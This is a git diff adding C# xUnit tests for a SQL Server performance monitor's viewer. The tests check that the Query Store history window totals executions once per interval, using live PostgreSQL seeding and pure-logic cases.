+    /* No column at all (the range holds no row) with the coverage starting inside the range: the chart is empty, and the notice says
+       from when the store has data. A probe with no answer names nothing. */
+    [Fact]
+    public void AnEmptyChart_NamesTheCoverage_AndAFailedProbeNamesNothing()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3)));
+        Assert.Null(BannerFor(null));
+    }
+
+    /* WPF objects require STA; same shape as ViewerLongQueriesDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsLiveTests.cs b/Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsLiveTests.cs
new file mode 100644
index 0000000000..3aca9703b4
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsLiveTests.cs
@@ -0,0 +1,297 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5306: the viewer's Query Store history read (<see cref="ViewerDataService.GetQueryStoreHistoryAsync"/>), run on
+/// PostgreSQL, with the two identity columns it ends with (<c>runtime_stats_interval_id</c> and
+/// <c>replica_role</c>, ordinals 50 and 51) and the Total Executions the history window shows over its rows
+/// (<see cref="ViewerQueryStoreHistoryRow.TotalExecutions"/>).
+///
+/// <para><see cref="ViewerQueryStoreHistoryTotalExecutionsTests"/> pins the helper's arithmetic on built-up rows and the
+/// read's text; neither one runs the read. A wrong type or ordinal against real rows would pass them, and so would a
+/// disagreement between the C# helper and PostgreSQL's <c>ROW_NUMBER</c> on real NULLs and ties. This class seeds
+/// <c>query_store_stats</c> and reads it back through the viewer, then reads the SAME seed through the viewer's Query
+/// Store top read, whose SQL is the aggregate the helper's key and tie-break were copied from. The two counts have to
+/// agree on every seed here. The window is two hours, under <c>QueryStoreIntervalWide.GridWideMinWindow</c>, so the top read
+/// always takes its raw path, the <c>QueryStoreTopSql</c> dedupe over <c>query_store_stats</c>.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ViewerQueryStoreHistoryTotalExecutionsLiveTests
+{
+    private const int ServerId = -953061;
+    private const string ServerName = "ViewerQsHistoryTotalSrv";
+    private const string Db = "HistoryTotalDb";
+
+    /* Fixed anchors, never the wall clock: whole seconds, so nothing depends on how the store rounds a tick. */
+    private static readonly DateTime T0 = new(2026, 3, 1, 12, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime WindowStart = T0.AddHours(-1);
+    private static readonly DateTime WindowEnd = T0.AddHours(1);
+    private static readonly DateTime FirstExecOne = T0.AddMinutes(1);
+    private static readonly DateTime FirstExecTwo = T0.AddMinutes(2);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>
+    /// One interval (9301) collected three times, 10 then 25 then 40, and a second interval (9302) collected once, 5.
+    /// The grid lists all four snapshots and its counts add up to 80, which is what the window's summary showed before
+    /// #5306. The window now shows 45: 40 (interval one's last snapshot) + 5 (interval two's only one).
+    /// </summary>
+    [Fact]
+    public async Task OneIntervalCollectedThreeTimes_PlusAnotherOnce_ListsFourRows_AndTotals45_AgainstDevPostgres()
+    {
+        await RunAsync(async (connection, viewer, ct) =>
+        {
+            const long QueryId = 1;
+            foreach (var (minute, executions) in new[] { (5, 10L), (10, 25L), (15, 40L) })
+            {
+                await SeedAsync(connection, QueryId, planId: 77, T0.AddMinutes(minute), executions,
+                    intervalId: 9301, FirstExecOne, replicaRole: null, ct: ct);
+            }
+
+            await SeedAsync(connection, QueryId, planId: 77, T0.AddMinutes(20), executionCount: 5,
+                intervalId: 9302, FirstExecTwo, replicaRole: null, ct: ct);
+
+            var rows = await viewer.GetQueryStoreHistoryAsync(ServerId, Db, QueryId, WindowStart, WindowEnd, ct);
+
+            /* The grid is unchanged: every snapshot, oldest first. */
+            Assert.Equal(4, rows.Count);
+            Assert.Equal(new long[] { 10, 25, 40, 5 }, rows.Select(r => r.ExecutionCount).ToArray());
+            Assert.Equal(80, rows.Sum(r => r.ExecutionCount));
+            Assert.Equal(new[] { T0.AddMinutes(5), T0.AddMinutes(10), T0.AddMinutes(15), T0.AddMinutes(20) },
+                rows.Select(r => r.CollectionTime).ToArray());
+
+            /* The rest of the interval identity is mapped from ordinals 50 and 51, and so are the columns the key
+               already used. Every row here has a real id and no replica role. */
+            Assert.Equal(new long?[] { 9301, 9301, 9301, 9302 }, rows.Select(r => r.RuntimeStatsIntervalId).ToArray());
+            Assert.All(rows, r => Assert.Null(r.ReplicaRole));
+            Assert.All(rows, r => Assert.Equal(77, r.PlanId));
+            Assert.All(rows, r => Assert.Equal("Regular", r.ExecutionTypeDesc));
+            Assert.Equal(new DateTime?[] { FirstExecOne, FirstExecOne, FirstExecOne, FirstExecTwo },
+                rows.Select(r => r.FirstExecutionTime).ToArray());
+
+            Assert.Equal(45, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+            Assert.Equal(ViewerQueryStoreHistoryRow.TotalExecutions(rows), await TopReadTotalAsync(viewer, QueryId, ct));
+        });
+    }
+
+    /// <summary>
+    /// Rows collected before the identity columns existed: NULL <c>runtime_stats_interval_id</c>, NULL
+    /// <c>replica_role</c>, and for the oldest of them NULL <c>first_execution_time</c> too. NULL must come back as null,
+    /// not 0 or "". The key's NULL parts match each other, as <c>PARTITION BY</c> puts NULLs in one partition, so two
+    /// snapshots with no identity at all are ONE interval and count at their latest, and the top read says the same.
+    /// </summary>
+    [Fact]
+    public async Task LegacyRowsWithNoIdentity_ComeBackNull_AndCountAsOneInterval_AgainstDevPostgres()
+    {
+        await RunAsync(async (connection, viewer, ct) =>
+        {
+            const long NoIdentityQuery = 2;
+            await SeedAsync(connection, NoIdentityQuery, planId: 78, T0.AddMinutes(5), executionCount: 4,
+                intervalId: null, firstExecutionTime: null, replicaRole: null, ct: ct);
+            await SeedAsync(connection, NoIdentityQuery, planId: 78, T0.AddMinutes(10), executionCount: 8,
+                intervalId: null, firstExecutionTime: null, replicaRole: null, ct: ct);
+
+            var rows = await viewer.GetQueryStoreHistoryAsync(ServerId, Db, NoIdentityQuery, WindowStart, WindowEnd, ct);
+
+            Assert.Equal(new long[] { 4, 8 }, rows.Select(r => r.ExecutionCount).ToArray());
+            Assert.All(rows, r => Assert.Null(r.RuntimeStatsIntervalId));
+            Assert.All(rows, r => Assert.Null(r.FirstExecutionTime));
+            Assert.All(rows, r => Assert.Null(r.ReplicaRole));
+
+            /* One interval, its newest snapshot: 8, not 4 + 8. The same count the SQL's partition gives. */
+            Assert.Equal(8, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+            Assert.Equal(8, await TopReadTotalAsync(viewer, NoIdentityQuery, ct));
+
+            /* A legacy row that kept its first_execution_time is told apart by that proxy: the id comes back null
+               and the stamp comes back set, and two proxies are two intervals (12 + 7), in the helper and in SQL. */
+            const long ProxyQuery = 3;
+            await SeedAsync(connection, ProxyQuery, planId: 79, T0.AddMinutes(5), executionCount: 5,
+                intervalId: null, FirstExecOne, replicaRole: null, ct: ct);
+            await SeedAsync(connection, ProxyQuery, planId: 79, T0.AddMinutes(10), executionCount: 12,
+                intervalId: null, FirstExecOne, replicaRole: null, ct: ct);
+            await SeedAsync(connection, ProxyQuery, planId: 79, T0.AddMinutes(15), executionCount: 7,
+                intervalId: null, FirstExecTwo, replicaRole: null, ct: ct);
+
+            var proxyRows = await viewer.GetQueryStoreHistoryAsync(ServerId, Db, ProxyQuery, WindowStart, WindowEnd, ct);
+
+            Assert.Equal(3, proxyRows.Count);
+            Assert.All(proxyRows, r => Assert.Null(r.RuntimeStatsIntervalId));
+            Assert.Equal(new DateTime?[] { FirstExecOne, FirstExecOne, FirstExecTwo },
+                proxyRows.Select(r => r.FirstExecutionTime).ToArray());
+            Assert.Equal(12 + 7, ViewerQueryStoreHistoryRow.TotalExecutions(proxyRows));
+            Assert.Equal(12 + 7, await TopReadTotalAsync(viewer, ProxyQuery, ct));
+        });
+    }
+
+    /// <summary>
+    /// One interval stored for the primary (6 then 9) and for a readable secondary (2): the primary's latest and the
+    /// secondary's only snapshot both count, the primary's first one does not. Roles come back as strings.
+    /// </summary>
+    [Fact]
+    public async Task TheSameIntervalOnTwoReplicaRoles_CountsOncePerRole_AgainstDevPostgres()
+    {
+        await RunAsync(async (connection, viewer, ct) =>
+        {
+            const long QueryId = 4;
+            await SeedAsync(connection, QueryId, planId: 88, T0.AddMinutes(5), executionCount: 6,
+                intervalId: 9311, FirstExecOne, replicaRole: "PRIMARY", ct: ct);
+            await SeedAsync(connection, QueryId, planId: 88, T0.AddMinutes(10), executionCount: 9,
+                intervalId: 9311, FirstExecOne, replicaRole: "PRIMARY", ct: ct);
+            await SeedAsync(connection, QueryId, planId: 88, T0.AddMinutes(10), executionCount: 2,
+                intervalId: 9311, FirstExecOne, replicaRole: "SECONDARY", ct: ct);
+
+            var rows = await viewer.GetQueryStoreHistoryAsync(ServerId, Db, QueryId, WindowStart, WindowEnd, ct);
+
+            Assert.Equal(3, rows.Count);
+            Assert.Equal(2, rows.Count(r => r.ReplicaRole == "PRIMARY"));
+            Assert.Equal(1, rows.Count(r => r.ReplicaRole == "SECONDARY"));
+            Assert.All(rows, r => Assert.Equal(9311, r.RuntimeStatsIntervalId));
+            Assert.Equal(17, rows.Sum(r => r.ExecutionCount));
+            Assert.Equal(9 + 2, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+
+            /* The top read splits the query into one row per replica role, and the two rows add up to the window's
+               total: the helper's replica_role key is the SQL's. */
+            var top = await TopReadRowsAsync(viewer, QueryId, ct);
+            Assert.Equal(new[] { "PRIMARY", "SECONDARY" }, top.Select(r => r.ReplicaRole).OrderBy(r => r, StringComparer.Ordinal).ToArray());
+            Assert.Equal(9 + 2, top.Sum(r => r.TotalExecutions));
+        });
+    }
+
+    /// <summary>
+    /// Two snapshots of ONE interval stored at the SAME collection_time, counts 8 and 94: the in-memory sliver and the
+    /// flushed slice Query Store handed back before #1907. The latest-snapshot rule keeps the larger count, in the
+    /// helper and in SQL, whichever one was inserted first.
+    /// </summary>
+    [Fact]
+    public async Task SnapshotsTiedOnCollectionTime_KeepTheLargerCount_InEitherInsertOrder_AgainstDevPostgres()
+    {
+        await RunAsync(async (connection, viewer, ct) =>
+        {
+            const long SliverFirst = 5;
+            const long FlushedFirst = 6;
+            var tied = T0.AddMinutes(10);
+
+            await SeedAsync(connection, SliverFirst, planId: 99, tied, executionCount: 8,
+                intervalId: 9321, FirstExecOne, replicaRole: null, ct: ct);
+            await SeedAsync(connection, SliverFirst, planId: 99, tied, executionCount: 94,
+                intervalId: 9321, FirstExecOne, replicaRole: null, ct: ct);
+
+            await SeedAsync(connection, FlushedFirst, planId: 99, tied, executionCount: 94,
+                intervalId: 9322, FirstExecOne, replicaRole: null, ct: ct);
+            await SeedAsync(connection, FlushedFirst, planId: 99, tied, executionCount: 8,
+                intervalId: 9322, FirstExecOne, replicaRole: null, ct: ct);
+
+            foreach (var queryId in new[] { SliverFirst, FlushedFirst })
+            {
+                var rows = await viewer.GetQueryStoreHistoryAsync(ServerId, Db, queryId, WindowStart, WindowEnd, ct);
+
+                /* The read orders on collection_time alone, so two rows that tie on it can come back either way. */
+                Assert.Equal(new long[] { 8, 94 }, rows.Select(r => r.ExecutionCount).OrderBy(c => c).ToArray());
+                Assert.Equal(94, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+                Assert.Equal(94, await TopReadTotalAsync(viewer, queryId, ct));
+            }
+        });
+    }
+
+    /// <summary>
+    /// The viewer's Query Store top read over the seed, for one query: the rows it returns, one per (plan, outcome,
+    /// replica role). Raw path only: the window is under the interval table's minimum, which the null plan proves.
+    /// </summary>
+    private static async Task<List<ViewerQueryStoreRow>> TopReadRowsAsync(ViewerDataService viewer, long queryId, CancellationToken ct)
+    {
+        var (rows, plan) = await viewer.GetQueryStoreTopQueriesWithReachAsync(
+            ServerId, WindowStart, WindowEnd, cancellationToken: ct);
+        Assert.Null(plan);
+        return rows.Where(r => r.DatabaseName == Db && r.QueryId == queryId).ToList();
+    }
+
+    private static async Task<long> TopReadTotalAsync(ViewerDataService viewer, long queryId, CancellationToken ct) =>
+        (await TopReadRowsAsync(viewer, queryId, ct)).Sum(r => r.TotalExecutions);
+
+    /// <summary>Migrates the shared store, clears this class's rows, runs the body, and clears them again.</summary>
+    private static async Task RunAsync(Func<NpgsqlConnection, ViewerDataService, CancellationToken, Task> body)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live viewer Query Store history test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+        await using var viewer = new ViewerDataService(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await body(connection, viewer, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, DeleteAsync);
+        }
+    }
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand($"DELETE FROM query_store_stats WHERE server_id = {ServerId};", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// One stored snapshot. A NULL <paramref name="intervalId"/>, NULL <paramref name="firstExecutionTime"/> or NULL
+    /// <paramref name="replicaRole"/> is stored as NULL: those are the shapes of the rows collected before each column existed.
+    /// </summary>
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, long queryId, long planId, DateTime collectionTime, long executionCount,
+        long? intervalId, DateTime? firstExecutionTime, string? replicaRole, CancellationToken ct)
+    {
+        const string sql = @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_id, plan_id, execution_type_desc, replica_role,
+     runtime_stats_interval_id, first_execution_time, last_execution_time,
+     query_text, query_hash, query_plan_hash, execution_count,
+     avg_cpu_time_us, avg_duration_us, is_forced_plan, force_failure_count)
+VALUES ($1, $2, $3, $4, $5, $6, $7, 'Regular', $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, false, 0)";
+
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(collectionTime);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(queryId);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.AddWithValue((object?)replicaRole ?? DBNull.Value);
+        command.Parameters.AddWithValue((object?)intervalId ?? DBNull.Value);
+        command.Parameters.AddWithValue((object?)firstExecutionTime ?? DBNull.Value);
+        command.Parameters.AddWithValue(collectionTime);
+        command.Parameters.AddWithValue($"SELECT /*q{queryId}*/ 1");
+        command.Parameters.AddWithValue($"0xQH{queryId}");
+        command.Parameters.AddWithValue($"0xPH{planId}");
+        command.Parameters.AddWithValue(executionCount);
+        command.Parameters.AddWithValue(100L);
+        command.Parameters.AddWithValue(1000L);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsTests.cs b/Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsTests.cs
new file mode 100644
index 0000000000..88b7d93369
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsTests.cs
@@ -0,0 +1,306 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5306, the viewer's copy of Lite's <c>QueryStoreHistoryTotalExecutionsTests</c>: the Query Store history window's
+/// Total Executions counts each Query Store interval ONCE, at its latest snapshot.
+///
+/// <para>The history grid lists every stored snapshot on purpose (#1841): query_store_stats rows are cumulative per
+/// interval, and the collector re-fetches the open interval every cycle, so one interval collected N times is N rows
+/// with a growing execution_count. Adding the column up over those rows counts the interval about N times. The
+/// summary takes the newest snapshot of each interval first, keyed on the same interval identity the aggregate reads
+/// in ViewerDataService dedup on: plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc and
+/// replica_role (database_name and query_id are constant in this one query-scoped read).</para>
+///
+/// <para>The expected numbers are written out against the true totals, so each one fails against the plain sum the
+/// window used before. Pure logic and source pins only: no live Postgres.</para>
+/// </summary>
+public sealed class ViewerQueryStoreHistoryTotalExecutionsTests
+{
+    private static readonly DateTime T0 = new(2026, 3, 1, 10, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>One stored snapshot. An interval is named by its id; its first_execution_time follows from it.</summary>
+    private static ViewerQueryStoreHistoryRow Snapshot(
+        int collectedAtMinute,
+        long executions,
+        long? interval = 100,
+        long plan = 11,
+        string executionType = "Regular",
+        string? replicaRole = null,
+        bool legacyNoFirstExecution = false) =>
+        new()
+        {
+            CollectionTime = T0.AddMinutes(collectedAtMinute),
+            ExecutionCount = executions,
+            PlanId = plan,
+            RuntimeStatsIntervalId = interval,
+            FirstExecutionTime = legacyNoFirstExecution ? null : T0.AddMinutes((interval ?? 0) / 100.0),
+            ExecutionTypeDesc = executionType,
+            ReplicaRole = replicaRole,
+        };
+
+    [Fact]
+    public void OneIntervalCollectedThreeTimes_PlusAnotherCollectedOnce_TotalsTheLatestOfEach()
+    {
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100),
+            Snapshot(10, 25, interval: 100),
+            Snapshot(15, 40, interval: 100),
+            Snapshot(20, 5, interval: 200),
+        };
+
+        /* 40 (interval one's last snapshot) + 5 (interval two's only one). The plain sum of the column, which is
+           what the window showed before, is 10 + 25 + 40 + 5 = 80. */
+        Assert.Equal(80, rows.Sum(r => r.ExecutionCount));
+        Assert.Equal(45, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void TwoPlansOfTheSameInterval_EachCountItsOwnLatestSnapshot()
+    {
+        /* Plan 11 and plan 22 ran in the SAME interval, so they share runtime_stats_interval_id and
+           first_execution_time and differ only in plan_id. A key without plan_id would count one plan's work and
+           drop the other's; a key with it counts each once. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100, plan: 11),
+            Snapshot(5, 3, interval: 100, plan: 22),
+            Snapshot(10, 25, interval: 100, plan: 11),
+            Snapshot(10, 7, interval: 100, plan: 22),
+            Snapshot(15, 40, interval: 100, plan: 11),
+        };
+
+        Assert.Equal(40 + 7, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void IntervalsSharingACollectionTime_BothCount()
+    {
+        /* An interval's closing fetch and the next interval's first fetch land in the same cycle, so two
+           different intervals carry the same collection_time. Taking only the newest collection time, or keying
+           on the collection time, would keep one of them and drop the other. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100),
+            Snapshot(10, 30, interval: 100),
+            Snapshot(10, 4, interval: 200),
+            Snapshot(15, 12, interval: 200),
+        };
+
+        Assert.Equal(30 + 12, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+
+        /* The same shape with the two intervals' ONLY snapshots on one collection time. */
+        var sameInstantOnly = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(10, 30, interval: 100),
+            Snapshot(10, 12, interval: 200),
+        };
+
+        Assert.Equal(30 + 12, ViewerQueryStoreHistoryRow.TotalExecutions(sameInstantOnly));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void SnapshotsOfOneIntervalTiedOnCollectionTime_TakeTheLargerCount_InEitherInputOrder(bool sliverFirst)
+    {
+        /* The #1907 residual, as the aggregate reads treat it: Query Store's flushed and in-memory slices of one
+           interval were stored as two rows sharing the whole identity AND the collection time. The larger count
+           is the flushed slice, and it wins whichever way the rows arrive. */
+        var sliver = Snapshot(10, 25, interval: 100);
+        var flushed = Snapshot(10, 100, interval: 100);
+        var rows = sliverFirst
+            ? new List<ViewerQueryStoreHistoryRow> { sliver, flushed }
+            : new List<ViewerQueryStoreHistoryRow> { flushed, sliver };
+
+        Assert.Equal(100, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void TheLatestSnapshotIsTheNewestByTime_NotTheLargestCount()
+    {
+        /* "Latest" is the newest collection_time, never the biggest execution_count: the later snapshot of this
+           interval holds fewer executions than the earlier one. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 90, interval: 100),
+            Snapshot(10, 60, interval: 100),
+        };
+
+        Assert.Equal(60, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void ReplicaRoles_AreSeparateIntervals()
+    {
+        /* The primary and a readable secondary each report their own stats for the same interval. The dedup key
+           carries replica_role, so neither replica's work is dropped. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100, replicaRole: "PRIMARY"),
+            Snapshot(10, 40, interval: 100, replicaRole: "PRIMARY"),
+            Snapshot(10, 9, interval: 100, replicaRole: "SECONDARY"),
+        };
+
+        Assert.Equal(40 + 9, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void ExecutionTypes_AreSeparateIntervals()
+    {
+        /* Query Store keeps a Regular, an Aborted and an Exception row per plan and interval. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100, executionType: "Regular"),
+            Snapshot(10, 40, interval: 100, executionType: "Regular"),
+            Snapshot(10, 2, interval: 100, executionType: "Aborted"),
+        };
+
+        Assert.Equal(40 + 2, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void RowsCollectedBeforeTheIntervalIdWasStored_FallBackOnFirstExecutionTime()
+    {
+        /* The id is NULL on every row collected before #1841 tier 2, and first_execution_time stays beside it as
+           the proxy: two legacy intervals with different first executions are still two intervals. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 4, interval: null),
+            Snapshot(10, 8, interval: null),
+            new()
+            {
+                CollectionTime = T0.AddMinutes(10),
+                ExecutionCount = 3,
+                PlanId = 11,
+                RuntimeStatsIntervalId = null,
+                FirstExecutionTime = T0.AddMinutes(30),
+                ExecutionTypeDesc = "Regular",
+            },
+        };
+
+        Assert.Equal(8 + 3, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void TwoIntervalsOfOnePlanWithNoFirstExecution_AreToldApartByTheirId()
+    {
+        /* A row whose first_execution_time is NULL has no identity under the proxy alone; the real id separates
+           the two intervals, the case that made the aggregate reads put the id in their key. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 6, interval: 100, legacyNoFirstExecution: true),
+            Snapshot(10, 9, interval: 200, legacyNoFirstExecution: true),
+        };
+
+        Assert.Equal(6 + 9, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void RowsWithNeitherAnIntervalIdNorAFirstExecution_AreOneInterval_ThatCountsOnce()
+    {
+        /* The oldest legacy rows hold neither identity column: no #1841 tier 2 id, and no first_execution_time to
+           stand in for it. The key's NULL parts match each other, as they do in the aggregate reads' PARTITION BY,
+           so the helper reads these rows as ONE interval and counts its newest snapshot once: 8, not 4 + 8. If such
+           rows were really two intervals the total would under-count them. The aggregate reads carry the same
+           limit, because nothing left on the rows can tell them apart. A different plan is still its own interval. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 4, interval: null, legacyNoFirstExecution: true),
+            Snapshot(10, 8, interval: null, legacyNoFirstExecution: true),
+        };
+
+        Assert.Equal(8, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+        Assert.Equal(T0.AddMinutes(10), Assert.Single(ViewerQueryStoreHistoryRow.LatestPerInterval(rows)).CollectionTime);
+
+        rows.Add(Snapshot(10, 3, interval: null, plan: 22, legacyNoFirstExecution: true));
+
+        Assert.Equal(8 + 3, ViewerQueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void LatestPerInterval_KeepsOneRowPerInterval_AndLeavesTheGridsListAlone()
+    {
+        /* The window binds this same list to its grid, which shows every snapshot by design. */
+        var rows = new List<ViewerQueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100),
+            Snapshot(10, 25, interval: 100),
+            Snapshot(15, 40, interval: 100),
+            Snapshot(20, 5, interval: 200),
+        };
+        var before = rows.ToList();
+
+        var latest = ViewerQueryStoreHistoryRow.LatestPerInterval(rows);
+
+        Assert.Equal(new long[] { 40, 5 }, latest.Select(r => r.ExecutionCount).OrderByDescending(c => c).ToArray());
+        Assert.Equal(before, rows);
+        Assert.Equal(4, rows.Count);
+    }
+
+    [Fact]
+    public void NoRows_TotalZero()
+    {
+        Assert.Equal(0, ViewerQueryStoreHistoryRow.TotalExecutions(new List<ViewerQueryStoreHistoryRow>()));
+    }
+
+    /// <summary>
+    /// The read stays a raw per-collection projection (the grid lists every snapshot), and its two last columns are
+    /// the rest of the interval identity. The reader maps columns by ordinal, so the select list is pinned by position:
+    /// 52 columns, with runtime_stats_interval_id at 50 and replica_role at 51 and every earlier ordinal unmoved.
+    /// </summary>
+    [Fact]
+    public void QueryStoreHistorySql_StaysRaw_AndEndsWithTheRestOfTheIntervalIdentity()
+    {
+        var sql = ViewerDataService.QueryStoreHistorySql;
+
+        Assert.DoesNotContain("ROW_NUMBER", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("PARTITION BY", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("GROUP BY", sql, StringComparison.OrdinalIgnoreCase);
+
+        var from = sql.IndexOf("FROM query_store_stats", StringComparison.Ordinal);
+        Assert.True(from > 0, "the history read no longer selects from query_store_stats.");
+        var selectList = sql[sql.IndexOf("SELECT", StringComparison.Ordinal)..from]["SELECT".Length..];
+        var columns = selectList.Split(',').Select(c => c.Trim()).ToArray();
+
+        Assert.Equal(52, columns.Length);
+        Assert.Equal("collection_time", columns[0]);
+        Assert.Equal("query_plan_hash", columns[49]);
+        Assert.Equal("runtime_stats_interval_id", columns[50]);
+        Assert.Equal("replica_role", columns[51]);
+    }
+
+    /// <summary>
+    /// The window and the reader are WPF and Npgsql code this suite does not run here, so their wiring is a source pin:
+    /// the summary totals through <c>ViewerQueryStoreHistoryRow.TotalExecutions</c> and no longer adds up the raw
+    /// per-snapshot column, and the reader maps the two identity columns at the ordinals the select list gives them.
+    /// </summary>
+    [Fact]
+    public void TheWindowSummary_TotalsThroughTheHelper_AndTheReaderMapsTheIdentity()
+    {
+        var window = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "QueryStoreHistoryWindow.xaml.cs"));
+        Assert.Contains("ViewerQueryStoreHistoryRow.TotalExecutions(_historyData)", window, StringComparison.Ordinal);
+        Assert.DoesNotContain("Sum(r => r.ExecutionCount)", window, StringComparison.Ordinal);
+        Assert.DoesNotContain("Sum(r=>r.ExecutionCount)", window.Replace(" ", string.Empty), StringComparison.Ordinal);
+
+        var reader = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.ItemHistory.cs"));
+        Assert.Contains("RuntimeStatsIntervalId = reader.IsDBNull(50) ? null : ReadLong(reader, 50)", reader, StringComparison.Ordinal);
+        Assert.Contains("ReplicaRole = reader.IsDBNull(51) ? null : reader.GetString(51)", reader, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerQueryStoreRegressionsDataStartTests.cs b/Darling/Darling.Tests/ViewerQueryStoreRegressionsDataStartTests.cs
new file mode 100644
index 0000000000..d488199f85
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerQueryStoreRegressionsDataStartTests.cs
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Query Store Regressions grid says where its data starts (#4966). The read compares a RECENT window (the
+/// toolbar's range) with a BASELINE of the 7 days before it, so the notice keys on the earlier window: a server added two days ago
+/// covers a one-day range whole but has one day of baseline instead of seven, and a notice keyed on the range alone would say
+/// nothing. The grid ranks its top 50 by added duration, not by time, so the cap rule does not apply.
+/// </summary>
